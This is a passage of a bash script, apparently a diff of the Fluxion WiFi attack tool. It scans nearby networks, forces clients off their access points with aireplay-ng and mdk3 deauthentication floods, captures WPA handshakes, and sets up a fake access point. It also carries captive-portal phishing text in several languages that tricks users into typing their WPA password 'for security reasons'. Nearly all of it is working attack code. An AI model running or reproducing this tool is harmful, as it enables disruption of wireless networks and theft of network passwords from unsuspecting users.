"\n\n"$white"["$red"-"$white"] "$red"Cleaning and closing"$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI_MONITOR"$transparent"" - ./airmon stop $WIFI_MONITOR &> $flux_output_device - fi - - - if [ "$WIFI" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI"$transparent"" - ./airmon stop $WIFI &> $flux_output_device - fi - - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" - echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding - fi - - echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" - service restart network-manager &> $flux_output_device & - - echo -e ""$white"["$green"+"$white"] "$green"Cleaning performed successfully!"$transparent"" - exit - -} - -# Genera listado de Interfaces en el Script -readarray -t webinterfaces < <(echo -e "Web Interface -\e[1;31mExit"$transparent"" -) - -# Genera listado de Idiomas web -readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] -Spanish[ESP] GERMAN [GER] -\e[1;31mBack"$transparent"" -) - -#Language for Web Interface -#GER -DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" -DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" -DIALOG_WEB_SUBMIT_GER="Bestätigen" -DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" -DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" -DIALOG_WEB_BACK_GER="Back" -DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" -DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" - -#EN -DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" -DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" - -#ESP -DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" -DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" -DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" -DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" - -#IT -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" -DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" - -#FR -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Valider" -DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" -DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." -DIALOG_WEB_BACK_FR="Précédent" -DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" -DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" - -#POR -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite sua senha WPA" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" -DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" -DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" - -# Design -function mostrarheader(){ - - conditional_clear - echo -e "$blue#########################################################" - echo -e "$blue# #" - echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo""$blue #"${blue} - echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$blue #" - echo -e "$blue# #" - echo -e "$blue#########################################################""$transparent" - echo - echo -} -##################################### < CONFIGURACION > ##################################### - - - - - - -############################################## < START > ############################################## - - -if ! [ $(id -u) = "0" ] 2>/dev/null; then - echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" - exit -fi - -# Check requirements -function checkdependences { - - echo -ne "Aircrack-ng....." - if ! hash aircrack-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Aireplay-ng....." - if ! hash aireplay-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airmon-ng......." - if ! hash airmon-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airodump-ng....." - if ! hash airodump-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Awk............." - if ! hash awk 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Curl............" - if ! hash curl 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Dhcpd..........." - if ! hash dhcpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Hostapd........." - if ! hash hostapd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Iwconfig........" - if ! hash iwconfig 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Lighttpd........" - if ! hash lighttpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Macchanger......" - if ! hash macchanger 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Mdk3............" - if ! hash mdk3 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Nmap............" - if ! [ -f /usr/bin/nmap ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Php5-cgi........" - if ! [ -f /usr/bin/php-cgi ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Pyrit..........." - if ! hash pyrit 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Python.........." - if ! hash python 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Unzip..........." - if ! hash unzip 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Xterm..........." - if ! hash xterm 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - if [ "$salir" = "1" ]; then - exit 1 - fi - - sleep 1 - clear -} -mostrarheader -checkdependences - -# Create Workbook -if [ ! -d $DUMP_PATH ]; then - mkdir $DUMP_PATH &>$flux_output_device -fi - - -if [ $FLUX_DEBUG != 1 ]; then - - echo "" - sleep 0.1 && echo -e $red "O))))))))O)) O)) O))O)) O))O)) O)))) O))) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O) O)) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O)) O))" - sleep 0.1 && echo -e $red "O)))))) O)) O)) O)) O)) O))O)) O))O)) O)) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O) ))" - sleep 0.1 && echo -e $red "O)) O)))))))) O))))) O)) O))O)) O)))) O)) O))" - echo "" - - sleep 1 - echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" - sleep 1 - echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent - sleep 1 - echo -n " Latest rev." - tput civis - checkupdatess & - spinner "$!" - revision_online=$(cat $DUMP_PATH/Irev) - echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" -# if [ "$revision_online" != "?" ]; then -# -# if [ "$revision" != "$revision_online" ]; then -# -# cp $0 $HOME/flux_rev-$revision.backup -# curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 -# echo -# echo -# echo -e ""$red" -#Updated successfully! Restarting the script to apply the changes ..."$transparent"" -# sleep 5 -# chmod +x $0 -# exec $0 -# -# fi -# fi - echo "" - tput cnorm - sleep 2 - -fi - -# Show info for the selected AP -function infoap { - - Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` - Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` - echo "INFO WIFI" - echo - echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$blue"Channel"$transparent" = $channel" - echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" - echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" - echo -} - -############################################## < START > ############################################## - - - - - - -############################################### < MENU > ############################################### - -# Windows + Resolution -function setresolution { - - function resA { - - TOPLEFT="-geometry 90x13+0+0" - TOPRIGHT="-geometry 83x26-0+0" - BOTTOMLEFT="-geometry 90x24+0-0" - BOTTOMRIGHT="-geometry 75x12-0-0" - TOPLEFTBIG="-geometry 91x42+0+0" - TOPRIGHTBIG="-geometry 83x26-0+0" - } - - function resB { - - TOPLEFT="-geometry 92x14+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 92x36+0-0" - BOTTOMRIGHT="-geometry 74x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 74x30-0+0" - } - function resC { - - TOPLEFT="-geometry 100x20+0+0" - TOPRIGHT="-geometry 109x20-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 109x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 109x30-0+0" - } - function resD { - TOPLEFT="-geometry 110x35+0+0" - TOPRIGHT="-geometry 99x40-0+0" - BOTTOMLEFT="-geometry 110x35+0-0" - BOTTOMRIGHT="-geometry 99x30-0-0" - TOPLEFTBIG="-geometry 110x72+0+0" - TOPRIGHTBIG="-geometry 99x40-0+0" - } - function resE { - TOPLEFT="-geometry 130x43+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 130x40+0-0" - BOTTOMRIGHT="-geometry 132x35-0-0" - TOPLEFTBIG="-geometry 130x85+0+0" - TOPRIGHTBIG="-geometry 132x48-0+0" - } - function resF { - TOPLEFT="-geometry 100x17+0+0" - TOPRIGHT="-geometry 90x27-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 90x20-0-0" - TOPLEFTBIG="-geometry 100x70+0+0" - TOPRIGHTBIG="-geometry 90x27-0+0" -} - -detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) -## A) 1024x600 -## B) 1024x768 -## C) 1280x768 -## D) 1280x1024 -## E) 1600x1200 -case $detectedresolution in - "1024x600" ) resA ;; - "1024x768" ) resB ;; - "1280x768" ) resC ;; - "1366x768" ) resC ;; - "1280x1024" ) resD ;; - "1600x1200" ) resE ;; - "1366x768" ) resF ;; - * ) resA ;; -esac -} - -# Choose Interface -function setinterface { - - # Collect all interfaces in montitor mode & stop all - KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` - - for monkill in ${KILLMONITOR[@]}; do - ./airmon stop $monkill >$flux_output_device - echo -n "$monkill, " - done - - # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(./airmon |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`./airmon| grep -c "-"` - - echo - echo - echo Autodetect Resolution ... - echo $detectedresolution - echo - - - - if [ "$INTERFACESNUMBER" -gt "0" ]; then - - echo "Select an interface" - echo - i=0 - - for line in "${wirelessifaces[@]}"; do - i=$(($i+1)) - wirelessifaces[$i]=$line - echo -e "$blue ""$i)"$transparent" $line" - done - - echo -n "#? " - read line - PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') - - if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then - conditional_clear - mostrarheader - setinterface - fi - - readarray -t softwaremolesto < <(./airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') - rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 - - for molesto in "${softwaremolesto[@]}"; do - killall "$molesto" &>$flux_output_device - done - sleep 0.5 - - modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 - sleep 0.5 - # Select Wifi Interface - select PREWIFI in $INTERFACES; do - break; - done - - WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) - WIFI_MONITOR=$WIFIMONITOR - WIFI=$PREWIFI - - #No wireless cards - else - - echo There are no wireless cards, quit... - sleep 5 - exitmode - fi - - deltax - -} - -# Check files -function deltax { - - conditional_clear - CSVDB=dump-01.csv - - rm -rf $DUMP_PATH/* - - choosescan - selection -} - -# Select channel -function choosescan { - - conditional_clear - - while true; do - conditional_clear - mostrarheader - - echo "Select channel" - echo " " - echo -e " "$blue"1)"$transparent" All channels " - echo -e " "$blue"2)"$transparent" Specific channel(s) " - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) Scan ; break ;; - 2 ) Scanchan ; break ;; - * ) echo "Unknown option. Please choose again"; conditional_clear ;; - esac - done -} - -# Choose your channel if you choose option 2 before -function Scanchan { - - conditional_clear - mostrarheader - - echo " " - echo " Select Channel " - echo " " - echo -e " Single channel "$blue"6"$transparent" " - echo -e " Multiple channels "$blue"1-5"$transparent" " - echo -e " Multiple channels "$blue"1,2,5-7,11"$transparent" " - echo " " - echo -n " #> " - read channel_number - set -- ${channel_number} - conditional_clear - - rm -rf $DUMP_PATH/dump* - xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR -} - -# Scans the entire network -function Scan { - - conditional_clear - xterm $HOLD -title "WIFI Monitor" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR -} - -# Choose a network -function selection { - - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " WIFI LIST " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done < $DUMP_PATH/dump-02.csv - echo - echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" - echo "" - echo " Select Target " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - conditional_clear - - askAP -} - -# FakeAP -function askAP { - - DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` - - if [ $DIGITOS_WIFIS_CSV -le 15 ]; then - selection && break - fi - - if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then - fakeapmode="airbase-ng" - askauth - fi - - mostrarheader - while true; do - - infoap - - echo "MODE FakeAP" - echo " " - echo -e " "$blue"1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" - echo -e " "$blue"2)"$transparent" airbase-ng (Slower connection)" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; - 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) selection; break ;; - * ) echo "Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Test Passwords / airbase-ng -function askauth { - - conditional_clear - - mostrarheader - while true; do - - echo "METHOD TO VERIFICATION THE PASSWORD" - echo " " - echo -e " "$blue"1)"$transparent" Handshake ("$red"Recommended"$transparent")" - echo -e " "$blue"2)"$transparent" Wpa_supplicant(More failures)" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) authmode="handshake"; handshakelocation; break ;; - 2 ) authmode="wpa_supplicant"; webinterface; break ;; - 3 ) askAP; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "handshake location (Example: $red/root/fluxion.cap$transparent)" - echo -e "Press ${yellow}ENTER$transparent to skip" - echo - echo -n "Path: " - echo -ne "$red" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake " - echo - sleep 4 - echo "you can try aircrack-ng" - echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" - echo - - read handshakeloc_aircrack - echo -ne "$transparent" - if [ "$handshakeloc_aircrack" = "" ]; then - handshakelocation - else - if aircrack-ng $handshakeloc | grep -q "1 handshake"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake" - sleep 4 - handshakelocation - fi - fi - fi - else - echo -e "${red}Not_Found$transparent!" - echo - echo -e "File ${red}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${green}MAC$transparent" - echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "File ${red}NOT$transparent present" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "handshake check" - echo " " - echo -e " "$blue"1)"$transparent" aircrack-ng (Miss chance)" - echo -e " "$blue"2)"$transparent" pyrit" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### - - - - - - -############################################# < HANDSHAKE > ############################################ - -# Tipo de Deauth que se va a realizar -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "Capture Handshake" - echo " " - echo -e " "$blue"1)"$transparent" Deauth all" - echo -e " "$blue"2)"$transparent" Deauth all [mdk3]" - echo -e " "$blue"3)"$transparent" Deauth target " - echo -e " "$blue"4)"$transparent" Rescan networks " - echo -e " "$blue"5)"$transparent" Exit" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - DEAUTH=deauthmdk3 - capture & $DEAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - DEAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - -} - -function deauthMENU { - - Handshake_statuscheck="${grey}No handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "*Capture Handshake* " - echo - echo -e "Status handshake: $Handshake_statuscheck" - echo - echo -e " "$blue"1)"$transparent" Yes" - echo -e " "$blue"2)"$transparent" Strike again " - echo -e " "$blue"3)"$transparent" No (Select another attack)" - echo -e " "$blue"4)"$transparent" Select another network" - echo -e " "$blue"5)"$transparent" Exit" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - - done -} - -# Capture all -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi -} - -# Check the handshake before continuing -function checkhandshake { - - if [ "$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi -} - -############################################# < HANDSHAKE > ############################################ - - - - - - -############################################# < ATAQUE > ############################################ - -# Select web interface that will be used -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "Select Web Interface" - echo - - echo -e "$blue""1)"$transparent" Web Interface" - echo -e "$blue""2)"$transparent" \e[1;31mExit"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECT LANGUAGE" - echo - - echo -e "$blue""1)"$transparent" English [ENG]" - echo -e "$blue""2)"$transparent" Spanish [ESP]" - echo -e "$blue""3)"$transparent" Italy [IT]" - echo -e "$blue""4)"$transparent" French [FR]" - echo -e "$blue""5)"$transparent" Portuguese [POR]" 